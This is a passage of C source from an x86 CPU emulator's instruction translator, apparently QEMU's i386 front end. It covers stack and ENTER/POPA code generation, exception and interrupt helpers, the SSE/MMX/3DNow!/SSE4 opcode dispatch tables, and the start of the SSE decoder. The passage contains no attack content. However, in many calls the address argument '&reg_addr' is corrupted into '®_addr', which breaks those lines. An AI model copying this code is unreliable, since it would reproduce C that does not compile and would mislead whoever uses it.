/* NOTE: wrap around in 16 bit not fully handled */
static void gen_popa(DisasContext *s)
{
int i;
gen_op_movl_A0_reg(R_ESP);
if (!s->ss32)
gen_op_andl_A0_ffff();
tcg_gen_mov_tl(cpu_T[1], cpu_A0);
tcg_gen_addi_tl(cpu_T[1], cpu_T[1], 16 << s->dflag);
if (s->addseg)
gen_op_addl_A0_seg(R_SS);
for(i = 0;i < 8; i++) {
/* ESP is not reloaded */
if (i != 3) {
gen_op_ld_T0_A0(OT_WORD + s->dflag + s->mem_index);
gen_op_mov_reg_T0(OT_WORD + s->dflag, 7 - i);
}
gen_op_addl_A0_im(2 << s->dflag);
}
gen_op_mov_reg_T1(OT_WORD + s->ss32, R_ESP);
}
static void gen_enter(DisasContext *s, int esp_addend, int level)
{
int ot, opsize;
level &= 0x1f;
#ifdef TARGET_X86_64
if (CODE64(s)) {
ot = s->dflag ? OT_QUAD : OT_WORD;
opsize = 1 << ot;
gen_op_movl_A0_reg(R_ESP);
gen_op_addq_A0_im(-opsize);
tcg_gen_mov_tl(cpu_T[1], cpu_A0);
/* push bp */
gen_op_mov_TN_reg(OT_LONG, 0, R_EBP);
gen_op_st_T0_A0(ot + s->mem_index);
if (level) {
/* XXX: must save state */
gen_helper_enter64_level(tcg_const_i32(level),
tcg_const_i32((ot == OT_QUAD)),
cpu_T[1]);
}
gen_op_mov_reg_T1(ot, R_EBP);
tcg_gen_addi_tl(cpu_T[1], cpu_T[1], -esp_addend + (-opsize * level));
gen_op_mov_reg_T1(OT_QUAD, R_ESP);
} else
#endif
{
ot = s->dflag + OT_WORD;
opsize = 2 << s->dflag;
gen_op_movl_A0_reg(R_ESP);
gen_op_addl_A0_im(-opsize);
if (!s->ss32)
gen_op_andl_A0_ffff();
tcg_gen_mov_tl(cpu_T[1], cpu_A0);
if (s->addseg)
gen_op_addl_A0_seg(R_SS);
/* push bp */
gen_op_mov_TN_reg(OT_LONG, 0, R_EBP);
gen_op_st_T0_A0(ot + s->mem_index);
if (level) {
/* XXX: must save state */
gen_helper_enter_level(tcg_const_i32(level),
tcg_const_i32(s->dflag),
cpu_T[1]);
}
gen_op_mov_reg_T1(ot, R_EBP);
tcg_gen_addi_tl(cpu_T[1], cpu_T[1], -esp_addend + (-opsize * level));
gen_op_mov_reg_T1(OT_WORD + s->ss32, R_ESP);
}
}
static void gen_exception(DisasContext *s, int trapno, target_ulong cur_eip)
{
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(cur_eip);
gen_helper_raise_exception(tcg_const_i32(trapno));
s->is_jmp = 3;
}
/* an interrupt is different from an exception because of the
privilege checks */
static void gen_interrupt(DisasContext *s, int intno,
target_ulong cur_eip, target_ulong next_eip)
{
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(cur_eip);
gen_helper_raise_interrupt(tcg_const_i32(intno),
tcg_const_i32(next_eip - cur_eip));
s->is_jmp = 3;
}
static void gen_debug(DisasContext *s, target_ulong cur_eip)
{
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(cur_eip);
gen_helper_debug();
s->is_jmp = 3;
}
/* generate a generic end of block. Trace exception is also generated
if needed */
static void gen_eob(DisasContext *s)
{
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
if (s->tb->flags & HF_INHIBIT_IRQ_MASK) {
gen_helper_reset_inhibit_irq();
}
if (s->tb->flags & HF_RF_MASK) {
gen_helper_reset_rf();
}
if (s->singlestep_enabled) {
gen_helper_debug();
} else if (s->tf) {
gen_helper_single_step();
} else {
tcg_gen_exit_tb(0);
}
s->is_jmp = 3;
}
/* generate a jump to eip. No segment change must happen before as a
direct call to the next block may occur */
static void gen_jmp_tb(DisasContext *s, target_ulong eip, int tb_num)
{
if (s->jmp_opt) {
if (s->cc_op != CC_OP_DYNAMIC) {
gen_op_set_cc_op(s->cc_op);
s->cc_op = CC_OP_DYNAMIC;
}
gen_goto_tb(s, tb_num, eip);
s->is_jmp = 3;
} else {
gen_jmp_im(eip);
gen_eob(s);
}
}
static void gen_jmp(DisasContext *s, target_ulong eip)
{
gen_jmp_tb(s, eip, 0);
}
static inline void gen_ldq_env_A0(int idx, int offset)
{
int mem_index = (idx >> 2) - 1;
tcg_gen_qemu_ld64(cpu_tmp1_i64, cpu_A0, mem_index);
tcg_gen_st_i64(cpu_tmp1_i64, cpu_env, offset);
}
static inline void gen_stq_env_A0(int idx, int offset)
{
int mem_index = (idx >> 2) - 1;
tcg_gen_ld_i64(cpu_tmp1_i64, cpu_env, offset);
tcg_gen_qemu_st64(cpu_tmp1_i64, cpu_A0, mem_index);
}
static inline void gen_ldo_env_A0(int idx, int offset)
{
int mem_index = (idx >> 2) - 1;
tcg_gen_qemu_ld64(cpu_tmp1_i64, cpu_A0, mem_index);
tcg_gen_st_i64(cpu_tmp1_i64, cpu_env, offset + offsetof(XMMReg, XMM_Q(0)));
tcg_gen_addi_tl(cpu_tmp0, cpu_A0, 8);
tcg_gen_qemu_ld64(cpu_tmp1_i64, cpu_tmp0, mem_index);
tcg_gen_st_i64(cpu_tmp1_i64, cpu_env, offset + offsetof(XMMReg, XMM_Q(1)));
}
static inline void gen_sto_env_A0(int idx, int offset)
{
int mem_index = (idx >> 2) - 1;
tcg_gen_ld_i64(cpu_tmp1_i64, cpu_env, offset + offsetof(XMMReg, XMM_Q(0)));
tcg_gen_qemu_st64(cpu_tmp1_i64, cpu_A0, mem_index);
tcg_gen_addi_tl(cpu_tmp0, cpu_A0, 8);
tcg_gen_ld_i64(cpu_tmp1_i64, cpu_env, offset + offsetof(XMMReg, XMM_Q(1)));
tcg_gen_qemu_st64(cpu_tmp1_i64, cpu_tmp0, mem_index);
}
static inline void gen_op_movo(int d_offset, int s_offset)
{
tcg_gen_ld_i64(cpu_tmp1_i64, cpu_env, s_offset);
tcg_gen_st_i64(cpu_tmp1_i64, cpu_env, d_offset);
tcg_gen_ld_i64(cpu_tmp1_i64, cpu_env, s_offset + 8);
tcg_gen_st_i64(cpu_tmp1_i64, cpu_env, d_offset + 8);
}
static inline void gen_op_movq(int d_offset, int s_offset)
{
tcg_gen_ld_i64(cpu_tmp1_i64, cpu_env, s_offset);
tcg_gen_st_i64(cpu_tmp1_i64, cpu_env, d_offset);
}
static inline void gen_op_movl(int d_offset, int s_offset)
{
tcg_gen_ld_i32(cpu_tmp2_i32, cpu_env, s_offset);
tcg_gen_st_i32(cpu_tmp2_i32, cpu_env, d_offset);
}
static inline void gen_op_movq_env_0(int d_offset)
{
tcg_gen_movi_i64(cpu_tmp1_i64, 0);
tcg_gen_st_i64(cpu_tmp1_i64, cpu_env, d_offset);
}
#define SSE_SPECIAL ((void *)1)
#define SSE_DUMMY ((void *)2)
#define MMX_OP2(x) { gen_helper_ ## x ## _mmx, gen_helper_ ## x ## _xmm }
#define SSE_FOP(x) { gen_helper_ ## x ## ps, gen_helper_ ## x ## pd, \
gen_helper_ ## x ## ss, gen_helper_ ## x ## sd, }
static void *sse_op_table1[256][4] = {
/* 3DNow! extensions */
[0x0e] = { SSE_DUMMY }, /* femms */
[0x0f] = { SSE_DUMMY }, /* pf... */
/* pure SSE operations */
[0x10] = { SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL }, /* movups, movupd, movss, movsd */
[0x11] = { SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL }, /* movups, movupd, movss, movsd */
[0x12] = { SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL }, /* movlps, movlpd, movsldup, movddup */
[0x13] = { SSE_SPECIAL, SSE_SPECIAL }, /* movlps, movlpd */
[0x14] = { gen_helper_punpckldq_xmm, gen_helper_punpcklqdq_xmm },
[0x15] = { gen_helper_punpckhdq_xmm, gen_helper_punpckhqdq_xmm },
[0x16] = { SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL }, /* movhps, movhpd, movshdup */
[0x17] = { SSE_SPECIAL, SSE_SPECIAL }, /* movhps, movhpd */
[0x28] = { SSE_SPECIAL, SSE_SPECIAL }, /* movaps, movapd */
[0x29] = { SSE_SPECIAL, SSE_SPECIAL }, /* movaps, movapd */
[0x2a] = { SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL }, /* cvtpi2ps, cvtpi2pd, cvtsi2ss, cvtsi2sd */
[0x2b] = { SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL }, /* movntps, movntpd, movntss, movntsd */
[0x2c] = { SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL }, /* cvttps2pi, cvttpd2pi, cvttsd2si, cvttss2si */
[0x2d] = { SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL }, /* cvtps2pi, cvtpd2pi, cvtsd2si, cvtss2si */
[0x2e] = { gen_helper_ucomiss, gen_helper_ucomisd },
[0x2f] = { gen_helper_comiss, gen_helper_comisd },
[0x50] = { SSE_SPECIAL, SSE_SPECIAL }, /* movmskps, movmskpd */
[0x51] = SSE_FOP(sqrt),
[0x52] = { gen_helper_rsqrtps, NULL, gen_helper_rsqrtss, NULL },
[0x53] = { gen_helper_rcpps, NULL, gen_helper_rcpss, NULL },
[0x54] = { gen_helper_pand_xmm, gen_helper_pand_xmm }, /* andps, andpd */
[0x55] = { gen_helper_pandn_xmm, gen_helper_pandn_xmm }, /* andnps, andnpd */
[0x56] = { gen_helper_por_xmm, gen_helper_por_xmm }, /* orps, orpd */
[0x57] = { gen_helper_pxor_xmm, gen_helper_pxor_xmm }, /* xorps, xorpd */
[0x58] = SSE_FOP(add),
[0x59] = SSE_FOP(mul),
[0x5a] = { gen_helper_cvtps2pd, gen_helper_cvtpd2ps,
gen_helper_cvtss2sd, gen_helper_cvtsd2ss },
[0x5b] = { gen_helper_cvtdq2ps, gen_helper_cvtps2dq, gen_helper_cvttps2dq },
[0x5c] = SSE_FOP(sub),
[0x5d] = SSE_FOP(min),
[0x5e] = SSE_FOP(div),
[0x5f] = SSE_FOP(max),
[0xc2] = SSE_FOP(cmpeq),
[0xc6] = { gen_helper_shufps, gen_helper_shufpd },
[0x38] = { SSE_SPECIAL, SSE_SPECIAL, NULL, SSE_SPECIAL }, /* SSSE3/SSE4 */
[0x3a] = { SSE_SPECIAL, SSE_SPECIAL }, /* SSSE3/SSE4 */
/* MMX ops and their SSE extensions */
[0x60] = MMX_OP2(punpcklbw),
[0x61] = MMX_OP2(punpcklwd),
[0x62] = MMX_OP2(punpckldq),
[0x63] = MMX_OP2(packsswb),
[0x64] = MMX_OP2(pcmpgtb),
[0x65] = MMX_OP2(pcmpgtw),
[0x66] = MMX_OP2(pcmpgtl),
[0x67] = MMX_OP2(packuswb),
[0x68] = MMX_OP2(punpckhbw),
[0x69] = MMX_OP2(punpckhwd),
[0x6a] = MMX_OP2(punpckhdq),
[0x6b] = MMX_OP2(packssdw),
[0x6c] = { NULL, gen_helper_punpcklqdq_xmm },
[0x6d] = { NULL, gen_helper_punpckhqdq_xmm },
[0x6e] = { SSE_SPECIAL, SSE_SPECIAL }, /* movd mm, ea */
[0x6f] = { SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL }, /* movq, movdqa, , movqdu */
[0x70] = { gen_helper_pshufw_mmx,
gen_helper_pshufd_xmm,
gen_helper_pshufhw_xmm,
gen_helper_pshuflw_xmm },
[0x71] = { SSE_SPECIAL, SSE_SPECIAL }, /* shiftw */
[0x72] = { SSE_SPECIAL, SSE_SPECIAL }, /* shiftd */
[0x73] = { SSE_SPECIAL, SSE_SPECIAL }, /* shiftq */
[0x74] = MMX_OP2(pcmpeqb),
[0x75] = MMX_OP2(pcmpeqw),
[0x76] = MMX_OP2(pcmpeql),
[0x77] = { SSE_DUMMY }, /* emms */
[0x78] = { NULL, SSE_SPECIAL, NULL, SSE_SPECIAL }, /* extrq_i, insertq_i */
[0x79] = { NULL, gen_helper_extrq_r, NULL, gen_helper_insertq_r },
[0x7c] = { NULL, gen_helper_haddpd, NULL, gen_helper_haddps },
[0x7d] = { NULL, gen_helper_hsubpd, NULL, gen_helper_hsubps },
[0x7e] = { SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL }, /* movd, movd, , movq */
[0x7f] = { SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL }, /* movq, movdqa, movdqu */
[0xc4] = { SSE_SPECIAL, SSE_SPECIAL }, /* pinsrw */
[0xc5] = { SSE_SPECIAL, SSE_SPECIAL }, /* pextrw */
[0xd0] = { NULL, gen_helper_addsubpd, NULL, gen_helper_addsubps },
[0xd1] = MMX_OP2(psrlw),
[0xd2] = MMX_OP2(psrld),
[0xd3] = MMX_OP2(psrlq),
[0xd4] = MMX_OP2(paddq),
[0xd5] = MMX_OP2(pmullw),
[0xd6] = { NULL, SSE_SPECIAL, SSE_SPECIAL, SSE_SPECIAL },
[0xd7] = { SSE_SPECIAL, SSE_SPECIAL }, /* pmovmskb */
[0xd8] = MMX_OP2(psubusb),
[0xd9] = MMX_OP2(psubusw),
[0xda] = MMX_OP2(pminub),
[0xdb] = MMX_OP2(pand),
[0xdc] = MMX_OP2(paddusb),
[0xdd] = MMX_OP2(paddusw),
[0xde] = MMX_OP2(pmaxub),
[0xdf] = MMX_OP2(pandn),
[0xe0] = MMX_OP2(pavgb),
[0xe1] = MMX_OP2(psraw),
[0xe2] = MMX_OP2(psrad),
[0xe3] = MMX_OP2(pavgw),
[0xe4] = MMX_OP2(pmulhuw),
[0xe5] = MMX_OP2(pmulhw),
[0xe6] = { NULL, gen_helper_cvttpd2dq, gen_helper_cvtdq2pd, gen_helper_cvtpd2dq },
[0xe7] = { SSE_SPECIAL , SSE_SPECIAL }, /* movntq, movntq */
[0xe8] = MMX_OP2(psubsb),
[0xe9] = MMX_OP2(psubsw),
[0xea] = MMX_OP2(pminsw),
[0xeb] = MMX_OP2(por),
[0xec] = MMX_OP2(paddsb),
[0xed] = MMX_OP2(paddsw),
[0xee] = MMX_OP2(pmaxsw),
[0xef] = MMX_OP2(pxor),
[0xf0] = { NULL, NULL, NULL, SSE_SPECIAL }, /* lddqu */
[0xf1] = MMX_OP2(psllw),
[0xf2] = MMX_OP2(pslld),
[0xf3] = MMX_OP2(psllq),
[0xf4] = MMX_OP2(pmuludq),
[0xf5] = MMX_OP2(pmaddwd),
[0xf6] = MMX_OP2(psadbw),
[0xf7] = MMX_OP2(maskmov),
[0xf8] = MMX_OP2(psubb),
[0xf9] = MMX_OP2(psubw),
[0xfa] = MMX_OP2(psubl),
[0xfb] = MMX_OP2(psubq),
[0xfc] = MMX_OP2(paddb),
[0xfd] = MMX_OP2(paddw),
[0xfe] = MMX_OP2(paddl),
};
static void *sse_op_table2[3 * 8][2] = {
[0 + 2] = MMX_OP2(psrlw),
[0 + 4] = MMX_OP2(psraw),
[0 + 6] = MMX_OP2(psllw),
[8 + 2] = MMX_OP2(psrld),
[8 + 4] = MMX_OP2(psrad),
[8 + 6] = MMX_OP2(pslld),
[16 + 2] = MMX_OP2(psrlq),
[16 + 3] = { NULL, gen_helper_psrldq_xmm },
[16 + 6] = MMX_OP2(psllq),
[16 + 7] = { NULL, gen_helper_pslldq_xmm },
};
static void *sse_op_table3[4 * 3] = {
gen_helper_cvtsi2ss,
gen_helper_cvtsi2sd,
X86_64_ONLY(gen_helper_cvtsq2ss),
X86_64_ONLY(gen_helper_cvtsq2sd),
gen_helper_cvttss2si,
gen_helper_cvttsd2si,
X86_64_ONLY(gen_helper_cvttss2sq),
X86_64_ONLY(gen_helper_cvttsd2sq),
gen_helper_cvtss2si,
gen_helper_cvtsd2si,
X86_64_ONLY(gen_helper_cvtss2sq),
X86_64_ONLY(gen_helper_cvtsd2sq),
};
static void *sse_op_table4[8][4] = {
SSE_FOP(cmpeq),
SSE_FOP(cmplt),
SSE_FOP(cmple),
SSE_FOP(cmpunord),
SSE_FOP(cmpneq),
SSE_FOP(cmpnlt),
SSE_FOP(cmpnle),
SSE_FOP(cmpord),
};
static void *sse_op_table5[256] = {
[0x0c] = gen_helper_pi2fw,
[0x0d] = gen_helper_pi2fd,
[0x1c] = gen_helper_pf2iw,
[0x1d] = gen_helper_pf2id,
[0x8a] = gen_helper_pfnacc,
[0x8e] = gen_helper_pfpnacc,
[0x90] = gen_helper_pfcmpge,
[0x94] = gen_helper_pfmin,
[0x96] = gen_helper_pfrcp,
[0x97] = gen_helper_pfrsqrt,
[0x9a] = gen_helper_pfsub,
[0x9e] = gen_helper_pfadd,
[0xa0] = gen_helper_pfcmpgt,
[0xa4] = gen_helper_pfmax,
[0xa6] = gen_helper_movq, /* pfrcpit1; no need to actually increase precision */
[0xa7] = gen_helper_movq, /* pfrsqit1 */
[0xaa] = gen_helper_pfsubr,
[0xae] = gen_helper_pfacc,
[0xb0] = gen_helper_pfcmpeq,
[0xb4] = gen_helper_pfmul,
[0xb6] = gen_helper_movq, /* pfrcpit2 */
[0xb7] = gen_helper_pmulhrw_mmx,
[0xbb] = gen_helper_pswapd,
[0xbf] = gen_helper_pavgb_mmx /* pavgusb */
};
struct sse_op_helper_s {
void *op[2]; uint32_t ext_mask;
};
#define SSSE3_OP(x) { MMX_OP2(x), CPUID_EXT_SSSE3 }
#define SSE41_OP(x) { { NULL, gen_helper_ ## x ## _xmm }, CPUID_EXT_SSE41 }
#define SSE42_OP(x) { { NULL, gen_helper_ ## x ## _xmm }, CPUID_EXT_SSE42 }
#define SSE41_SPECIAL { { NULL, SSE_SPECIAL }, CPUID_EXT_SSE41 }
static struct sse_op_helper_s sse_op_table6[256] = {
[0x00] = SSSE3_OP(pshufb),
[0x01] = SSSE3_OP(phaddw),
[0x02] = SSSE3_OP(phaddd),
[0x03] = SSSE3_OP(phaddsw),
[0x04] = SSSE3_OP(pmaddubsw),
[0x05] = SSSE3_OP(phsubw),
[0x06] = SSSE3_OP(phsubd),
[0x07] = SSSE3_OP(phsubsw),
[0x08] = SSSE3_OP(psignb),
[0x09] = SSSE3_OP(psignw),
[0x0a] = SSSE3_OP(psignd),
[0x0b] = SSSE3_OP(pmulhrsw),
[0x10] = SSE41_OP(pblendvb),
[0x14] = SSE41_OP(blendvps),
[0x15] = SSE41_OP(blendvpd),
[0x17] = SSE41_OP(ptest),
[0x1c] = SSSE3_OP(pabsb),
[0x1d] = SSSE3_OP(pabsw),
[0x1e] = SSSE3_OP(pabsd),
[0x20] = SSE41_OP(pmovsxbw),
[0x21] = SSE41_OP(pmovsxbd),
[0x22] = SSE41_OP(pmovsxbq),
[0x23] = SSE41_OP(pmovsxwd),
[0x24] = SSE41_OP(pmovsxwq),
[0x25] = SSE41_OP(pmovsxdq),
[0x28] = SSE41_OP(pmuldq),
[0x29] = SSE41_OP(pcmpeqq),
[0x2a] = SSE41_SPECIAL, /* movntqda */
[0x2b] = SSE41_OP(packusdw),
[0x30] = SSE41_OP(pmovzxbw),
[0x31] = SSE41_OP(pmovzxbd),
[0x32] = SSE41_OP(pmovzxbq),
[0x33] = SSE41_OP(pmovzxwd),
[0x34] = SSE41_OP(pmovzxwq),
[0x35] = SSE41_OP(pmovzxdq),
[0x37] = SSE42_OP(pcmpgtq),
[0x38] = SSE41_OP(pminsb),
[0x39] = SSE41_OP(pminsd),
[0x3a] = SSE41_OP(pminuw),
[0x3b] = SSE41_OP(pminud),
[0x3c] = SSE41_OP(pmaxsb),
[0x3d] = SSE41_OP(pmaxsd),
[0x3e] = SSE41_OP(pmaxuw),
[0x3f] = SSE41_OP(pmaxud),
[0x40] = SSE41_OP(pmulld),
[0x41] = SSE41_OP(phminposuw),
};
static struct sse_op_helper_s sse_op_table7[256] = {
[0x08] = SSE41_OP(roundps),
[0x09] = SSE41_OP(roundpd),
[0x0a] = SSE41_OP(roundss),
[0x0b] = SSE41_OP(roundsd),
[0x0c] = SSE41_OP(blendps),
[0x0d] = SSE41_OP(blendpd),
[0x0e] = SSE41_OP(pblendw),
[0x0f] = SSSE3_OP(palignr),
[0x14] = SSE41_SPECIAL, /* pextrb */
[0x15] = SSE41_SPECIAL, /* pextrw */
[0x16] = SSE41_SPECIAL, /* pextrd/pextrq */
[0x17] = SSE41_SPECIAL, /* extractps */
[0x20] = SSE41_SPECIAL, /* pinsrb */
[0x21] = SSE41_SPECIAL, /* insertps */
[0x22] = SSE41_SPECIAL, /* pinsrd/pinsrq */
[0x40] = SSE41_OP(dpps),
[0x41] = SSE41_OP(dppd),
[0x42] = SSE41_OP(mpsadbw),
[0x60] = SSE42_OP(pcmpestrm),
[0x61] = SSE42_OP(pcmpestri),
[0x62] = SSE42_OP(pcmpistrm),
[0x63] = SSE42_OP(pcmpistri),
};
static void gen_sse(DisasContext *s, int b, target_ulong pc_start, int rex_r)
{
int b1, op1_offset, op2_offset, is_xmm, val, ot;
int modrm, mod, rm, reg, reg_addr, offset_addr;
void *sse_op2;
b &= 0xff;
if (s->prefix & PREFIX_DATA)
b1 = 1;
else if (s->prefix & PREFIX_REPZ)
b1 = 2;
else if (s->prefix & PREFIX_REPNZ)
b1 = 3;
else
b1 = 0;
sse_op2 = sse_op_table1[b][b1];
if (!sse_op2)
goto illegal_op;
if ((b <= 0x5f && b >= 0x10) || b == 0xc6 || b == 0xc2) {
is_xmm = 1;
} else {
if (b1 == 0) {
/* MMX case */
is_xmm = 0;
} else {
is_xmm = 1;
}
}
/* simple MMX/SSE operation */
if (s->flags & HF_TS_MASK) {
gen_exception(s, EXCP07_PREX, pc_start - s->cs_base);
return;
}
if (s->flags & HF_EM_MASK) {
illegal_op:
gen_exception(s, EXCP06_ILLOP, pc_start - s->cs_base);
return;
}
if (is_xmm && !(s->flags & HF_OSFXSR_MASK))
if ((b != 0x38 && b != 0x3a) || (s->prefix & PREFIX_DATA))
goto illegal_op;
if (b == 0x0e) {
if (!(s->cpuid_ext2_features & CPUID_EXT2_3DNOW))
goto illegal_op;
/* femms */
gen_helper_emms();
return;
}
if (b == 0x77) {
/* emms */
gen_helper_emms();
return;
}
/* prepare MMX state (XXX: optimize by storing fptt and fptags in
the static cpu state) */
if (!is_xmm) {
gen_helper_enter_mmx();
}
modrm = ldub_code(s->pc++);
reg = ((modrm >> 3) & 7);
if (is_xmm)
reg |= rex_r;
mod = (modrm >> 6) & 3;
if (sse_op2 == SSE_SPECIAL) {
b |= (b1 << 8);
switch(b) {
case 0x0e7: /* movntq */
if (mod == 3)
goto illegal_op;
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_stq_env_A0(s->mem_index, offsetof(CPUX86State,fpregs[reg].mmx));
break;
case 0x1e7: /* movntdq */
case 0x02b: /* movntps */
case 0x12b: /* movntps */
if (mod == 3)
goto illegal_op;
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_sto_env_A0(s->mem_index, offsetof(CPUX86State,xmm_regs[reg]));
break;
case 0x3f0: /* lddqu */
if (mod == 3)
goto illegal_op;
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_ldo_env_A0(s->mem_index, offsetof(CPUX86State,xmm_regs[reg]));
break;
case 0x22b: /* movntss */
case 0x32b: /* movntsd */
if (mod == 3)
goto illegal_op;
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
if (b1 & 1) {
gen_stq_env_A0(s->mem_index, offsetof(CPUX86State,
xmm_regs[reg]));
} else {
tcg_gen_ld32u_tl(cpu_T[0], cpu_env, offsetof(CPUX86State,
xmm_regs[reg].XMM_L(0)));
gen_op_st_T0_A0(OT_LONG + s->mem_index);
}
break;
case 0x6e: /* movd mm, ea */
#ifdef TARGET_X86_64
if (s->dflag == 2) {
gen_ldst_modrm(s, modrm, OT_QUAD, OR_TMP0, 0);
tcg_gen_st_tl(cpu_T[0], cpu_env, offsetof(CPUX86State,fpregs[reg].mmx));
} else
#endif
{
gen_ldst_modrm(s, modrm, OT_LONG, OR_TMP0, 0);
tcg_gen_addi_ptr(cpu_ptr0, cpu_env,
offsetof(CPUX86State,fpregs[reg].mmx));
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[0]);
gen_helper_movl_mm_T0_mmx(cpu_ptr0, cpu_tmp2_i32);
}
break;
case 0x16e: /* movd xmm, ea */
#ifdef TARGET_X86_64
if (s->dflag == 2) {
gen_ldst_modrm(s, modrm, OT_QUAD, OR_TMP0, 0);
tcg_gen_addi_ptr(cpu_ptr0, cpu_env,
offsetof(CPUX86State,xmm_regs[reg]));
gen_helper_movq_mm_T0_xmm(cpu_ptr0, cpu_T[0]);
} else
#endif
{
gen_ldst_modrm(s, modrm, OT_LONG, OR_TMP0, 0);
tcg_gen_addi_ptr(cpu_ptr0, cpu_env,
offsetof(CPUX86State,xmm_regs[reg]));
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[0]);
gen_helper_movl_mm_T0_xmm(cpu_ptr0, cpu_tmp2_i32);
}
break;
case 0x6f: /* movq mm, ea */
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_ldq_env_A0(s->mem_index, offsetof(CPUX86State,fpregs[reg].mmx));
} else {
rm = (modrm & 7);
tcg_gen_ld_i64(cpu_tmp1_i64, cpu_env,
offsetof(CPUX86State,fpregs[rm].mmx));
tcg_gen_st_i64(cpu_tmp1_i64, cpu_env,
offsetof(CPUX86State,fpregs[reg].mmx));
}
break;
case 0x010: /* movups */
case 0x110: /* movupd */
case 0x028: /* movaps */
case 0x128: /* movapd */
case 0x16f: /* movdqa xmm, ea */
case 0x26f: /* movdqu xmm, ea */
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_ldo_env_A0(s->mem_index, offsetof(CPUX86State,xmm_regs[reg]));
} else {
rm = (modrm & 7) | REX_B(s);
gen_op_movo(offsetof(CPUX86State,xmm_regs[reg]),
offsetof(CPUX86State,xmm_regs[rm]));
}
break;
case 0x210: /* movss xmm, ea */
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_op_ld_T0_A0(OT_LONG + s->mem_index);
tcg_gen_st32_tl(cpu_T[0], cpu_env, offsetof(CPUX86State,xmm_regs[reg].XMM_L(0)));
gen_op_movl_T0_0();
tcg_gen_st32_tl(cpu_T[0], cpu_env, offsetof(CPUX86State,xmm_regs[reg].XMM_L(1)));
tcg_gen_st32_tl(cpu_T[0], cpu_env, offsetof(CPUX86State,xmm_regs[reg].XMM_L(2)));
tcg_gen_st32_tl(cpu_T[0], cpu_env, offsetof(CPUX86State,xmm_regs[reg].XMM_L(3)));
} else {
rm = (modrm & 7) | REX_B(s);
gen_op_movl(offsetof(CPUX86State,xmm_regs[reg].XMM_L(0)),
offsetof(CPUX86State,xmm_regs[rm].XMM_L(0)));
}
break;
case 0x310: /* movsd xmm, ea */
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_ldq_env_A0(s->mem_index, offsetof(CPUX86State,xmm_regs[reg].XMM_Q(0)));
gen_op_movl_T0_0();
tcg_gen_st32_tl(cpu_T[0], cpu_env, offsetof(CPUX86State,xmm_regs[reg].XMM_L(2)));
tcg_gen_st32_tl(cpu_T[0], cpu_env, offsetof(CPUX86State,xmm_regs[reg].XMM_L(3)));
} else {
rm = (modrm & 7) | REX_B(s);
gen_op_movq(offsetof(CPUX86State,xmm_regs[reg].XMM_Q(0)),
offsetof(CPUX86State,xmm_regs[rm].XMM_Q(0)));
}
break;
case 0x012: /* movlps */
case 0x112: /* movlpd */
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_ldq_env_A0(s->mem_index, offsetof(CPUX86State,xmm_regs[reg].XMM_Q(0)));
} else {
/* movhlps */
rm = (modrm & 7) | REX_B(s);
gen_op_movq(offsetof(CPUX86State,xmm_regs[reg].XMM_Q(0)),
offsetof(CPUX86State,xmm_regs[rm].XMM_Q(1)));
}
break;
case 0x212: /* movsldup */
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_ldo_env_A0(s->mem_index, offsetof(CPUX86State,xmm_regs[reg]));
} else {
rm = (modrm & 7) | REX_B(s);
gen_op_movl(offsetof(CPUX86State,xmm_regs[reg].XMM_L(0)),
offsetof(CPUX86State,xmm_regs[rm].XMM_L(0)));
gen_op_movl(offsetof(CPUX86State,xmm_regs[reg].XMM_L(2)),
offsetof(CPUX86State,xmm_regs[rm].XMM_L(2)));
}
gen_op_movl(offsetof(CPUX86State,xmm_regs[reg].XMM_L(1)),
offsetof(CPUX86State,xmm_regs[reg].XMM_L(0)));
gen_op_movl(offsetof(CPUX86State,xmm_regs[reg].XMM_L(3)),
offsetof(CPUX86State,xmm_regs[reg].XMM_L(2)));
break;
case 0x312: /* movddup */
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_ldq_env_A0(s->mem_index, offsetof(CPUX86State,xmm_regs[reg].XMM_Q(0)));
} else {
rm = (modrm & 7) | REX_B(s);
gen_op_movq(offsetof(CPUX86State,xmm_regs[reg].XMM_Q(0)),
offsetof(CPUX86State,xmm_regs[rm].XMM_Q(0)));
}
gen_op_movq(offsetof(CPUX86State,xmm_regs[reg].XMM_Q(1)),
offsetof(CPUX86State,xmm_regs[reg].XMM_Q(0)));
break;
case 0x016: /* movhps */
case 0x116: /* movhpd */
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_ldq_env_A0(s->mem_index, offsetof(CPUX86State,xmm_regs[reg].XMM_Q(1)));
} else {
/* movlhps */
rm = (modrm & 7) | REX_B(s);
gen_op_movq(offsetof(CPUX86State,xmm_regs[reg].XMM_Q(1)),
